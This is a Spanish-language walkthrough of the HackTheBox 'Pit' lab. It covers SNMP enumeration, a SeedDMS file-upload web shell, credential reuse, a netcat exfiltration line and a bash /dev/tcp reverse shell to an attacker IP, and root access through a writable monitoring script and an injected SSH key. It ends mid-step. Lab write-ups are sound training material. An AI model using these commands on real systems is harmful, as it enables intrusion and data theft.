HackTheBox - Pit

Lanz
Funk Lanz el
HackTheBox - Pit

Máquina Linux (CentOS 8) nivel medio. Caminaremos con el servicio SNMP, extraeremos rutas web, rutas de binarios y usuarios. Explotaremos SeedDMS con un exploit que no debería servir contra esa versión (:( encontraremos credenciales en archivos yyyyy volveremos a caminar para ejecutar un script que ejecuta scripts 😛

346pitHTB

TL;DR (Spanish writeup)

Creada por: polarbearer & GibParadox.

Jmmm, un completo descontrol esto e.e

Empezaremos jugando con un puerto UDP que tiene activo un servicio SNMP para monitorear tareas del sistema. Moviéndonos mucho con herramientas como snmpwalk, snmp-check y snmpbulkwalk lograremos encontrar una ruta de un servicio web, un usuario llamado michelle y el llamado a un binario: /usr/bin/monitor.

Toqueteando la ruta web tendremos un software de gestión documental (DMS) llamado SeedDMS, lograremos pasar el login usando como contraseña y usuario: michelle.

Estando dentro se nos indica que el servicio ha sido actualizado a la versión 5.1.15 debido a los problemas de seguridad encontrados en la versión 5.1.10. Esto nos hace perder mucho tiempo, ya que finalmente logramos comprometer el DMS con un exploit de la versión 5.1.10… 😑

El exploit nos permite subir un archivo .php para ejecutar comandos en el sistema, lo ejecutaremos como el usuario nginx. No podremos obtener una Reverse Shell, pero podremos simular una Shell (léase bien el simular), esto con un script que creamos:

fakeSheedDMS.py

Enumerando el sistema encontramos unas credenciales en un archivo llamado settings.xml, esas credenciales corresponden a un usuario de la base de datos.

Haciendo reutilización de contraseñas y apoyados en nuestra enumeración web, lograremos autenticarnos como michelle (con la contraseña encontrada en settings.xml) contra otro login, esta vez de un servidor CentOS 8 alojado en la web.

Jugando con él veremos que existe un apartado llamado Terminal y si, en él podremos ejecutar comandos como michelle en el sistema.

Finalmente con ayuda de lo que encontramos con snmp... recordaremos el binario /usr/bin/monitor, lo inspeccionaremos y veremos que lo único que hace es ejecutar los archivos que sus nombres empiecen con check y terminen en sh (básicamente un script de bash, ejemplo: checkealorey.sh) alojados en la ruta /usr/local/monitoring.

Pero para que sea ejecutado debemos volver a validar nuestros procesos, o sea, ejecutar snmpwalk o snmpbulkwalk y que él sea el encargado de lanzar /usr/bin/monitor.

En el script le indicaremos que guarde nuestra llave SSH publica en /root/.ssh/authorized_keys, así jugando con nuestra llave privada lograremos tener acceso a la máquina como el usuario root.

Clasificación de la máquina según la gentesita

Muuuuy juguetona (poco real), pero vamos a tener que mover muchas cosas y enumerar como dioses.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Bueno, se vienen cositas…

  1. Reconocimiento.
  2. Enumeración.
  3. Movimiento lateral - Encontramos ruta web al DMS (SeedDMS).
  4. Explotación.
  5. Movimiento lateral - Ejecución de comandos servidor CentOS con interfaz web.
  6. Escalada de privilegios.

Reconocimiento #

Encontrando puertos abiertos de la máquina con ayuda de nmap 📌

Empezaremos enumerando los puertos (servicios) abiertos de la máquina, lo haremos usando nmap:

❱ nmap -p- --open -v 10.10.10.241 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar la función extractPorts creada por S4vitar que me extrae los puertos en la clipboard

Pero este escaneo va demasiado lento, entonces aprovechemos el uso de --min-rate para indicarle que no envíe menos de X paquetes en cada petición, en nuestro caso 1000 paquetes por petición:

❱ nmap -p- --open --min-rate=1000 -v 10.10.10.241 -oG initScan

Este va muy bien y finalmente nos devuelve:

❱ cat initScan
# Nmap 7.80 scan initiated Fri Jun 25 25:25:25 2021 as: nmap -p- --open --min-rate=1000 -v -oG initScan 10.10.10.241
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.241 ()	Status: Up
Host: 10.10.10.241 ()	Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 9090/open/tcp//zeus-admin///	Ignored State: filtered (65532)
# Nmap done at Fri Jun 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 350.43 seconds
Puerto Descripción
22 SSH: Nos permite entre varias cosas conseguir una Shell de manera segura.
80 HTTP: Nos provee de un servidor web.
9090 zeus-admin: Al parecer es una web para el control de ordenadores remotamente. Medio raro…

Teniendo los puertos que están abiertos, haremos un escaneo de versiones y scripts relacionados con cada servicio, así tendremos info un poco más detallada:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno (en este caso daría igual, ya que son poquitos, pero bueno, si fueran varios puertos es muy funcional)

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.241
    [*] Open ports: 22,80,9090

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80,9090 -sC -sV 10.10.10.241 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y obtenemos:

❱ cat portScan
# Nmap 7.80 scan initiated Fri Jun 25 25:25:25 2021 as: nmap -p 22,80,9090 -sC -sV -oN portScan 10.10.10.241
Nmap scan report for 10.10.10.241
Host is up (0.11s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.80%T=SSL%I=7%D=6/25%Time=60D65434%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,E70,"HTTP/1...Content-Type:
...
x2010p");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 202.07 seconds

Podemos destacar cositas:

Puerto Servicio Versión
22 SSH OpenSSH 8.0 (protocol 2.0)
80 HTTP nginx 1.14.1
9090 HTTPS nmap no sabe si realmente es zeus-admin

Vemos un dominio en el certificado:

  • dms-pit.htb.

Lo podemos tener en cuenta por si algo.

Por ahora nada más :) Pues juguemos y encontremos la forma de explotar esta máquina.

Enumeración #

Puerto 80 📌

346page80

La página por default de nginx en Red Hat

Fuzzeando archivos o subdominios no encontramos nada interesante en ella y la versión de nginx (1.14.1) no nos proporciona tampoco nada relevante.

Puerto 9090 📌

346page9090

Un login de CentOS… En la parte de abajo vemos que hace referencia al dominio pit.htb, así que agreguemos este y el que encontramos con nmap al archivo /etc/hosts, pueda que consigamos que la máquina responda diferente ante los dominios:

❱ cat /etc/hosts
...
10.10.10.241  pit.htb dms-pit.htb
...

Pero obtenemos las mismas respuestas (:

Interceptando una petición con BurpSuite al intentarnos logear vemos algo llamativo:

Algo llamado cockpit que curiosamente tiene una parte del nombre de la máquina, así que de una me llamo la atención…

Buscando en internet encontramos:

🌐 Cockpit is a web-based graphical interface for servers. cockpit-project.org

Perfecto e interesante, ya que tenemos un login al parecer de un server CentOS (toma sentido).

Y confirmamos que estamos relacionados con cockpit gracias a una de sus imágenes de ejemplo:

Listones, pues veamos como entrarle e.e

Después de algunas horitas de enumerar y enumerar y dejar de enumerar pensando por donde ir y volver a enumerar y volver a perderme llegue a la conclusión que no sabía hacia donde tirar 😄

Intente de todo con el CVE CVE-2020-35850, veía cositas pero nanai… Estaba muy perdido, así que decidí buscar ayuda y fue bastante clara (a veces nos centramos tanto en algo que olvidamos cositas muuuy sencillas):

UDP.

Y sí, podemos probar a hacer un escaneo de puertos UDP con nmap, esto se lo indicamos con el parámetro -sU:

❱ nmap -sU -p- --open --min-rate=2000 -v 10.10.10.241 -oG initScanUDP

Despues de un rato obtenemos un nuevo puerto:

❱ cat initScanUDP 
# Nmap 7.80 scan initiated Fri Jun 25 25:25:25 2021 as: nmap -sU -p- --open --min-rate=2000 -v -oG initScanUDP 10.10.10.241
# Ports scanned: TCP(0;) UDP(65535;1-65535) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.241 (pit.htb)    Status: Up
Host: 10.10.10.241 (pit.htb)    Ports: 161/open/udp//snmp///
# Nmap done at Fri Jun 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 370.61 seconds

Perfecto, encontramos un puerto que esta corriendo el servicio SNMP (Protocolo simple de administración de red):

🟥 Facilita la administración de dispositivos de una red. Wikipedia

Listones, ahora tomemos ese puerto y veamos que versión esta ejecutando y si tiene scripts relacionados:

❱ nmap -sU -p 161 -sC -sV 10.10.10.241 -oN portScanUPD

Nos devuelve:

# Nmap 7.80 scan initiated Fri Jun 25 21:38:44 2021 as: nmap -sU -p 161 -sC -sV -oN portScanUDP 10.10.10.241
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.11s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 4ca7e41263c5985e00000000
|   snmpEngineBoots: 71
|_  snmpEngineTime: 5h48m16s
| snmp-processes: 
|   1: 
|     Name: systemd
|     Path: /usr/lib/systemd/systemd
|     Params: --switched-root --system --deserialize 18
...
...
# Es gigante el output.
# Es gigante el output.
# Es gigante el output.
...
...
|   27151: 
|_    Name: kworker/1:4-cgroup_destroy
| snmp-sysdescr: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
|_  System uptime: 5h48m15.86s (2089586 timeticks)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 170.14 seconds

Destacamos que es un servidor SNMP de versión 1. Y apoyándonos de este recurso entendemos que significa el public que vemos en el escaneo:

Para poder enumerar o leer información de un servicio SNMP es necesario conocer algo llamado “comunidad”, que es simplemente el medio por el que el servicio esta publicando la información yyyyyyy por defecto viene con la comunidad public, que esa es la que tenemos activa y al parecer en funcionamiento con la máquina (:

Así que teniendo la comunidad nos queda muy fácil empezar a enumerar… Existen varias herramientas, usaremos snmp-check, snmpwalk y snmpbulkwalk

Siguiendo “lo que podemos hacer en cuanto a pentesting contra SNMP (y con ayuda de las herramientas anteriores) logramos encontrar varias cosas.

TODO se va a tratar de estos comandos y esta guia, solo que profundizaremos un poco en cada uno.

📼 snmp-check

snmp-check nos muestra de una manera linda la interacción entre dispositivos (además vemos cositas de la máquina), le podemos indicar, la versión -v, la comunidad -c y claramente el servidor SNMP:

❱ snmp-check -v1 -c public 10.10.10.241

346bash_snmpCheck1

…mucha info más…

346bash_snmpCheck2

Pues podemos destacar únicamente la versión del sistema, lo demás son procesos en ejecución, pero no vemos ninguno relevante o que nos dé algo más de información, así que sigamos jugando.

📼 snmpwalk

snmpwalk nos ayuda a ver los mismos procesos enumerados con snmp-check, pero ya entran en juego los OIDs, que serían los identificadores de cada objeto.

Podemos hacer varias maromas con él, lo único que cambia (si queremos) es que debemos tomar la versión 2, lo demás es igual:

❱ snmpwalk -v2c -c public 10.10.10.241

… más cositas…

Pero claramente obtenemos lo mismo (pero muy lento, en un rato entra snmpbulkwalk que nos ayudara a hacer muuuucho más rápido todo).

Jugando con la guía inicial vemos que podemos extraer info en concreto de alguna OID, por ejemplo extraigamos la versión del sistema pasándole el OID:

❱ snmpwalk -v2c -c public 10.10.10.241
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
...

Sabemos que es la primera línea (para el ejemplo lo sabemos :P), pues ahora tomaríamos ese OID y ejecutaríamos:

❱ snmpwalk -v2c -c public 10.10.10.241 iso.3.6.1.2.1.1.1.0
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64"

Y nos traería la línea correspondiente a ese OID (:

Algo que me di cuenta al jugar con esto es que podemos también pasarle “rangos”, por ejemplo:

  • Tenemos este OID: iso.3.6.1.2.1.1.1.0.
  • Podemos decirle que extraiga todo lo que inicie con este OID: iso.3.6.1.2.1.1.

Nos mostraría solo esa info:

❱ snmpwalk -v2c -c public 10.10.10.241 iso.3.6.1.2.1.1

Otra cosita interesante son las consultas extendidas que nos permiten profundizar un poco más en la extracción:

Jugando con ellas encontramos unos usuarios:

❱ snmpwalk -v2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects                      

  • Al parecer un proceso de monitoreo o algo así que esta ejecutando un binario de la ruta /usr/bin/monitor. Es interesante porque no es un programa que me suene que venga por default en el sistema.
  • También vemos la versión del servidor CentOS.
  • El usuario root.
  • Y el usuario michelle.

Esto podemos guardarlo por si algo (:

📼 snmpbulkwalk

🌲 The snmpbulkwalk command uses the GETBULK SNMP protocol feature to query for an entire tree of information about a network entity. This command can pack more objects into the packets by specifying -repeaters-. Oracle - SNMP commands

Acá si es necesario indicarle la versión 2 de SNMP… Como sabemos que podemos hacer lo mismo que snmpwalk, pero más rápido, vayamos directo a lo interesante:

Vimos que podíamos extraer info de OIDs en concreto y también de OIDs de los que conocíamos su inicio…

Encontrando ruta web hacia SeedDMS #

Pues después de muchas pruebas intentamos extraer toooooooodo lo que inicie con iso (1) y al final (bien al final) encontramos algo distinto a lo que teníamos:

❱ snmpbulkwalk -v2c -c public 10.10.10.241 iso

346bash_snmpWalkbulk_ex_iso

Opa, vemos que al parecer hay un servicio web en la ruta /var/www/html llamado /seeddms51x, pues podemos intentar a buscarlo en alguno de los puertos y dominios que tenemos a ver si lo encontramos…

Finalmente al dirigirnos a:

http://dms-pit.htb/seeddms51x/seeddms

Nos redirige a:

http://dms-pit.htb/seeddms51x/seeddms/out/out.Login.php?referuri=%2Fseeddms51x%2Fseeddms%2F

Y nos muestra:

346page80dms_seeddmsLogin

Un login de un DMS llamado SeedDMS que es un sistema para la administración de documentos…

Intentando algunas credenciales por default no logramos nada, pero al intentar con michelle (que fue uno de los usuarios que encontramos antes) como usuario y contraseña logramos acceder:

Listones, vemos dos objetos, una carpeta llamada Docs y un archivo llamado Upgrade Note.

En el upgrade nos indica que debido a los problemas de seguridad de la versión 5.1.10 el administrador decidió actualizar el servicio SeedDMS a la versión 5.1.15.

Esto es importante ya que concocemos que version de SeedDMS estamos usando, así evitamos estar tocando vulnerabilidades de otras versiones.

En la carpeta Docs existe dentro una llamada Users y ahí residen dos más:

346page80dms_seeddmsDocsUsers

Bien, conocemos al usuario Jack (lo guardamos por si algo).

Yyy solo podemos jugar con la carpeta de Michelle

Enumerando encontramos los mails de cada usuario, nos sirven para conocer los usuarios y a que dominio están asociados (por si algo e.e):

346page80dms_seeddmsUsers

Explotación #

Después de muuuuuuuuchas pruebas de exploits y cositas llamativas hacia la versión 5.1.15 no logramos nada :/ Así que empezamos a probar de todo…

Antes de conocer la versión actual ya había probado este exploit, pero no me había funcionado:

Probando y probando extrañamente funciono, lo cual no debería ser, ya que es un exploit de otra versión 😐 pero pues pfff…

Así que veamos como fue el proceso:

1. Creamos el archivo, se tiene que llamar 1.php, no encontré el porqué, pero debe serlo, ya que con otros nombres no lo toma.

❱ cat 1.php 
<?php system($_GET['xmd']); ?>

2. Subimos el archivo al DMS.

SeedDMS (arriba a la izquierda) > Docs > Users > Michelle > Add document (arriba).

Ahí en el nombre colocamos 1.php y donde dice Local file seleccionamos el archivo 1.php de nuestro sistema:

346page80dms_seeddmsAddDoc_1PHP

Y damos clic en Add document.

3. Encontramos el archivo subido en el servidor web.

Cada archivo al existir tiene un ID, podemos verlo al dar clic sobre él y en la URL se reflejaría con el parámetro documentid, en nuestro caso es el número 48.

Siguiendo el exploit existen dos rutas que usa SeedDMS por default al subir archivos y guardarlos:

  • data y 1048576.

Tomado de: https://github.com/rachmari/seeddms.

Así que perfecto, tiene y toma sentido (:

El exploit nos indica la siguiente ruta en la que debería existir el archivo:

http://holacomoestas.com/data/1048576/<document_id>/1.php

Y con el id, el dominio y el comando a ejecutar quedaría así:

http://dms-pit.htb/seeddms51x/seeddms/data/1048576/48/1.php?xmd=whoami

Peeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeero al direccionarnos hacia ella nos indica que no encuentra el archivo :s

RCE SeedDMS (CVE-2019-12744) 📌

Jugando con internet buscando info relacionada con el directorio data y 1048576 encontramos este thread el cual nos da una idea para intentar:

346google_seeddms_discussion_pathsDMS

Tomada de: seeddms/discussion/general/installation-issues.

(En la imagen podría haber usado la herramienta de texto, pero quedo aún más lindo 😅)

Incluso el comentario de abajo le indica que esta configurado de manera insegura :P

Parecen tachones lo que hay en la imagen, pero no, es lo que podemos intentar:

http://dms-pit.htb/seeddms51x/seeddms

El DMS esta siendo mantenido en la ruta /seeddms51x/seeddms, pero podríamos intentar encontrar la carpeta data... fuera de él, o sea:

http://dms-pit.htb/seeddms51x/data

Puessssssssssssss:

❱ curl -s -L http://dms-pit.htb/seeddms51x/algoqueesperonoexistaymehagaquedarmal/ | grep title
<head><title>404 Not Found</title></head>
❱ curl -s -L http://dms-pit.htb/seeddms51x/data/ | grep title
<head><title>403 Forbidden</title></head>

Nos devuelve un forbidden, así que existe, pero no tenemos acceso a él :P Perfecto, pues ahora busquemos el archivo:

❱ curl http://dms-pit.htb/seeddms51x/data/1048576/48/1.php

No nos devuelve ningún error ni output, así que podemos pensar que lo encontró (: pues ejecutemos un whoami y un hostname a ver si nos responde:

http://dms-pit.htb/seeddms51x/data/1048576/48/1.php?xmd=whoami; echo " - "; hostname

Yyyy:

Listoneeeeeeeeeeeeeeeeeeeeeeees, que martirio estoo, pero tamos. Tenemos ejecución remota de comandos en el sistema como el usuario nginx, aprovechemos para generarnos una Reverse Shell.

Después de algunos intentos no lo logramos, así que tendremos que enumerar el sistema desde el servidor web.

Jugando con Python creamos una fake-shell:

fakeSheedDMS.py

Me gusto como quedo en cuanto a lo que hace el script, nos logeamos, subimos PHP y generamos la fake-shell, peeeero como el servidor borra cada cierto los archivos de la carpeta de **michelle pues jugamos con eso y cuando nos devuelva File not found volvemos a subir el archivo PHP sin perder la fake-shell :)**

Es medio fea, ya que no podemos movernos de la carpeta en la que aparecemos, así que tenemos que jugar con rutas absolutas o ../../../ 😛

Recordé una utilidad de S4vitar que nos permite obtener una Shell en la que podemos movernos (cd) entre carpetas sin problemas, algo que en la nuestra no se puede. Esto lo hace jugando con tuberías y cositas locas, les dejo el link, ta buenasa:

Solo deberíamos cambiar la URL en la que este nuestro archivo php y en mi caso cambiar cmd a xmd

Pero como va un poco lento (por el tema de las tuberías) y como hicimos uno propio, pues juguemos con el propio e.e

Encontramos credenciales en el archivo settings.xml 📌

Enumerando encontramos un archivo llamado settings.xml, en él vemos unas credenciales de una base de datos:

$ ls -la /var/www/html/seeddms51x/conf
total 40
drwxr-xr-x. 2 nginx nginx    93 Mar  2  2020 .
drwxr-xr-x. 7 nginx nginx    68 Apr 21  2020 ..
-rw-r--r--. 1 nginx nginx   261 Jan 15  2020 .htaccess
-r--------. 1 nginx nginx 11933 Apr 21  2020 settings.xml
-rw-r--r--. 1 nginx nginx 13771 Mar 14  2018 settings.xml.template
-rw-r--r--. 1 nginx nginx  4247 Feb 20  2013 stopwords.txt
...
<!--
   - dbDriver: DB-Driver used by adodb (see adodb-readme)
   - dbHostname: DB-Server
   - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
   - dbUser: username for database-access
   - dbPass: password for database-access
-->
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false"></database>
...

Como son del servidor de base de datos podemos probar a ver si encontramos alguna tabla con algo comprometedor o algo que podamos crackear…

Como la Shell es una tristeza :P vamos a jugar con las herramientas mysqlshow para ver que bases de datos y tablas existen yyy con mysqldump para simular un “backup” de la info de esas tablas (o sea, nos muestra lo que contienen).

(No encontramos nada útil, pero les dejo los comandos como aprendizaje)

Vemos las bases de datos actuales (-pPASSWORD):

❱ python3 fakeSheedDMS.py
nginx@pit:/casita$ mysqlshow -u seeddms -pied^ieY6xoquu

Vemos las tablas de X base de datos, existe una llamada seeddms:

nginx@pit:/casita$ mysqlshow -u seeddms -pied^ieY6xoquu seeddms

De todas las tablas existen 3 llamativas: tblUserPasswordHistory, tblUserPasswordRequest y tblUsers.

Con mysqlshow podemos ver la estructura de cada tabla más no su información, juguemos con mysqldump:

nginx@pit:/casita$ mysqldump -u seeddms -pied^ieY6xoquu seeddms tblUserPasswordHistory
nginx@pit:/casita$ mysqldump -u seeddms -pied^ieY6xoquu seeddms tblUserPasswordRequest
nginx@pit:/casita$ mysqldump -u seeddms -pied^ieY6xoquu seeddms tblUsers

La única que devuelve información es tblUsers, encontramos la password en formato hash MD5, pero al intentar crackearlas solo encontramos resultado con michelle (que seria michelle :P)

Jugando con SSH obtenemos este error siempre:

❱ ssh michelle@10.10.10.241
michelle@10.10.10.241: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

Intentando arreglarlo no lo logramos :(

Ejecución de comandos en servidor CentOS por medio de la interfaz web #

Volviendo atrás recordé el login que teníamos contra el servidor CentOS con cockpit, ¿lo recuerdas? Pues probando esa contraseña con el usuario michelle logramos acceder (:

346page9090_dashboard

Lissssssstones, enumerando un poquito la web encontramos esto:

346page9090_terminalLink

Damos clic y nos muestra esto:

346page9090_terminal

Y sí, es una terminal, pero no vemos nada de lo que escribimos 🙃 interesante jajaj .__. Intentando comprobar si es funcional logramos cositas:

Podemos decirle que nos envíe el resultado de un comando a algún puerto en el que estemos escuchando:

Nos ponemos en escucha: nc -lvp 4433.

Y ejecutamos (aunque no se vea) el comando id, tomara el resultado y lo enviara al puerto 4433 de nuestra máquina:

id | nc 10.10.14.146 4433

Damos enter y en nuestro listener recibimos:

❱ nc -lvp 4433
listening on [any] 4433 ...
connect to [10.10.14.146] from pit.htb [10.10.10.241] 34018
uid=1000(michelle) gid=1000(michelle) groups=1000(michelle) context=user_u:user_r:user_t:s0

Opa, estamos ejecutando comandos como michelle (: comprobando el comando hostname nos devuelve pit.htb y jugando con curL comprobamos que existe el binario, así que podemos destacar que claramente nginx no tenía permisos contra algunos binarios (por si alguien se lo preguntaba :P)


Obtenemos reverse shell como michelle

Nos volvemos a poner en escucha y en la web ejecutamos:

bash -c 'bash >& /dev/tcp/10.10.14.146/4433 0>&1'

Lo que generara una bash hacia nuestro puerto… Dando enter obtenemos en nuestro listener:

Tenemos una Shell pero bastante fea eh! Lo bueno es que podemos intentar el transformarla en una Full TTY o sea, que sea interactiva y que se vea bonita, hagámoslo rápidamente:

Escribimos script /dev/null -c bash:

script /dev/null -c bash
Script started, file is /dev/null
[michelle@pit ~]$

La pausamos ejecutando CTRL+Z:

[michelle@pit ~]$ ^Z
[1]+  Detenido                nc -lvp 4433
❱ stty raw -echo; fg

Escribimos reset y ahora:

[michelle@pit ~]$ export TERM=xterm
[michelle@pit ~]$ export SHELL=bash

Por último abrimos una nueva terminal y ejecutamos stty -a, tomamos esos valores, volvemos a la Shell de michelle y los escribimos en este comando (esos son mis valores):

[michelle@pit ~]$ stty rows 43 columns 192

Y listo, tenemos una Shell completamente interactiva, es bonita, podemos movernos entre comandos, tenemos histórico y no nos debemos preocupar si ejecutamos CTRL+C, ya que no la perderemos.

Escalada de privilegios #

Estando dentro del sistema la enumeración nos esta matando, no encontramos nada de nada…

Hasta que recordé lo que habíamos visto con snmpbulkwalk al obtener los usuarios michelle y root, había un proceso de monitoreo en ejecución y había una cadena que hacía referencia a un binario:

  • /usb/bin/monitor.

Busquémoslo a ver si tiene algo que ver:

[michelle@pit ~]$ ls -la /usr/bin/monitor 
-rwxr--r--. 1 root root 88 Apr 18  2020 /usr/bin/monitor
[michelle@pit ~]$ file /usr/bin/monitor 
/usr/bin/monitor: Bourne-Again shell script, ASCII text executable

Es un script, veamoslo:

[michelle@pit ~]$ cat /usr/bin/monitor 
#!/bin/bash

for script in /usr/local/monitoring/check*sh
do
    /bin/bash $script
done

WTF… Un bucle que de la ruta /usr/local/monitoring/ toma los archivos que empiecen por check y terminen en sh yyy los ejecuta… ¿ehhhh?

Sí esta es la manera de escalar es muy sencillo, ya que simplemente deberíamos incluir un archivo en esa ruta con ese inicio, ese final y rogaríamos a la virgensita para que root tenga alguna tarea cron o servicio ejecutando /usr/bin/monitor.

Veamos si tenemos permisos de escritura con un if sobre la ruta:

[michelle@pit ~]$ if [ -w "/usr/local/monitoring" ]; then echo "WRITABLE"; else echo "NOT WRITABLE"; fi
WRITABLE

Bien, al parecer si, para asegurarnos hacemos la fácil:

[michelle@pit ~]$ echo "holaaaaaaaaaaaaaaa" > /usr/local/monitoring/hola.txt
[michelle@pit ~]$ ls -la /usr/local/monitoring/hola.txt
-rw-rw-r--. 1 michelle michelle 19 Jun 29 25:25 /usr/local/monitoring/hola.txt
[michelle@pit ~]$ cat /usr/local/monitoring/hola.txt
holaaaaaaaaaaaaaaa

Bien, confirmado. Entonces intentemos generar el archivo que colocaremos en esa ruta y veamos si pasa algo.


Generamos script que ejecutará /usr/bin/monitor 📌

Para validar que el script nos funcione podemos indicarle que haga varias cositas:

❱ cat checkea.sh
#!/bin/bash

id > /home/michelle/id.txt
id | nc 10.10.14.146 4435

Al ser ejecutado crearía un archivo en la ruta /home/michelle/ llamado id.txt con el contenido del comando id (que debería ser del usuario root, o el que esté ejecutando /usr/bin/monitor) y enviaría el mismo resultado, pero a un puerto por el que estaremos escuchando…

❱ nc -lvp 4435

Subimos el script:

❱ python3 -m http.server
[michelle@pit ~]$ mkdir testeando
[michelle@pit ~]$ cd testeando/
[michelle@pit ~/testeando]$ curl http://10.10.14.146:8000/checkea.sh -o checkea.sh

Ahora démosle permisos de ejecución:

[michelle@pit ~/testeando]$ chmod +x checkea.sh

Y finalmente lo copiamos a la ruta:

[michelle@pit ~/testeando]$ cp checkea.sh /usr/local/monitoring/

Ahora deberíamos esperar a ver que pasa…

Y no pasa nada… 😀 (sonrió, pero no sonrió en realidad)

Después de muchas pruebas e intentos logramos ver algo distinto…

Subimos el archivo, lo copiamos a la ruta y todo igual, pero mientras estaba el archivo ahí se me dio por volver a probar el snmpbulkwalk por curiosidad sobre el proceso de “monitoreo” y vaya vaya:

❱ snmpbulkwalk -v2c -c public 10.10.10.241 iso

346bash_snmpWalkbulk_ex_iso_foundScript

Al menos sabemos que se esta intentando ejecutar el script, pero nos da Permission Denied contra el binario netcat y en la creación del archivo id.txt

De nuevo después de varias pruebas nos damos cuenta de que /usr/bin/monitor es ejecutado una vez jugamos con snmp… Yyyy al final, algo nos dio resultado:

Podemos probar en guardar nuestra llave pública SSH en el archivo /root/.ssh/authorized_keys, esto le indicará al sistema que a todas las llaves (identificaciones) dentro de ese archivo les permita acceso, pero para obtener ese acceso debemos hacer uso de la llave privada (que sería el remplazo de una contraseña (ya que no la tenemos :P)) asociada a esa llave pública. Entonces si hacen match la llave pública guardada en authorized_keys con la llave privada indicada al intentarnos conectar por SSH, nos debería devolver una Shell como root (porque estamos guardando nuestra “credencial” en el archivo authorized_keys del usuario root), démosle:

Primero generamos nuestras llaves (si no las tenemos):

(De la forma sencilla)

❱ ssh-keygen -t rsa

Finalmente deberíamos tener estos archivos en la carpeta ~/.ssh:

❱ ls
id_rsa  id_rsa.pub
  • id_rsa es nuestra llave privada (no compartir con nadie).
  • id_rsa.pub es nuestra llave pública, esta es la que se usa para poder autenticarnos contra otros sistemas sin necesidad de proveer contraseñas.

Listos, tomamos el contenido de la llave pública, lo pegamos en el script y le indicamos que tome tooooooooda la llave como una cadena de texto y la agregue en el archivo /root/.ssh/authorized_keys:

346bash_script_idRSApub

Ahora, subimos el script, lo copiamos a la ruta y ejecutamos snmpbulkwalk:

[michelle@pit ~/testeando]$ curl http://10.10.14.146:8000/checkea.sh -o checkea.sh
[michelle@pit ~/testeando]$ chmod +x checkea.sh
